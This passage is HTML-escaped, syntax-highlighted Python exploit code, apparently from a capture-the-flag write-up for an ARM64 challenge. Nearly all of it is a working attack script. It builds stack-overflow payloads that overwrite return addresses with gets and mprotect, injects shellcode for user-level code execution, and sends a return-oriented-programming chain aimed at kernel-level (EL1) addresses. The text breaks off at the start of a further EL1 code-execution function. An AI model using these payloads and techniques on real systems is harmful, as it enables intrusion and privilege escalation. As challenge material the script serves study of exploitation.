&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    shellcode &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; asm(assembly)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;assert&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;not&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; shellcode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; shellcode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;load_key&lt;/span&gt;(idx: int):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;cmd&amp;gt; &amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;index: &amp;#34;&lt;/span&gt;, str(idx)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;encode())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;save_key&lt;/span&gt;(idx: int, key: bytes):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;cmd&amp;gt; &amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;index: &amp;#34;&lt;/span&gt;, str(idx)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;encode())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendlineafter(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;key: &amp;#34;&lt;/span&gt;, key)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;el0_arbitrary_code_execute&lt;/span&gt;(assembly: str) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;gets&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;gets&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    save_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x120&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; make_shellcode(assembly)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;assert&lt;/span&gt; len(pl) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendline(pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; (&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\x00&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; (&lt;span style=&#34;color:#ae81ff&#34;&gt;0x100&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; len(pl))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;main&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x44&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;mprotect&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    save_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x1000&lt;/span&gt;, pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    load_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(EL0_RET)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;gets&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(DUMMY_VALUE)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(EL0_SFP_IN_RUN &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x30&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    save_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; p64(EL0_STACK_LOW &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x100&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(EL0_BUF &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x120&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendline(pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;el1_return_oriented_programming&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rop_chain: list[int],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    el0_head_assembly: str &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    head_input: bytes &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    el0_tail_assembly: str &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tail_input: bytes &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ROP_CHAIN_ADDR &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFFFFFFC0019C00&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    EL1_SYSCALL_HANDLER_RET_ADDR &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFFFFFFC0019BB8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rop_chain &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; rop_chain[:&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; [&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; rop_chain[&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;:]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rop_chain &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;join([p64(gadget) &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; gadget &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; rop_chain])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;assert&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;not&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; rop_chain &lt;span style=&#34;color:#f92672&#34;&gt;and&lt;/span&gt; len(rop_chain) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x420&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    el0_arbitrary_code_execute(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        el0_head_assembly
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&amp;#34;  
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        mov x22, xzr;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        ldr x23, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;len(rop_chain)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        ldr x24, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;ROP_CHAIN_ADDR&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        read_rop_chain:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x0, 0;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            add x1, x24, x22;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x2, 1;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            ldr x5, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;read&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            blr x5;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            add x22, x22, 1;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            cmp x22, x23;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            b.lt read_rop_chain
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        mov x0, 0;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        ldr x1, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(EL1_SYSCALL_HANDLER_RET_ADDR&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        mov x2, 1;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        ldr x5, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;read&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        blr x5;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; el0_tail_assembly
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;send(head_input)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;send(rop_chain)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;send(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\x94&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;send(tail_input)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;el1_arbitrary_code_execute&lt;/span&gt;(assembly: str) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;None&lt;/span&gt;:
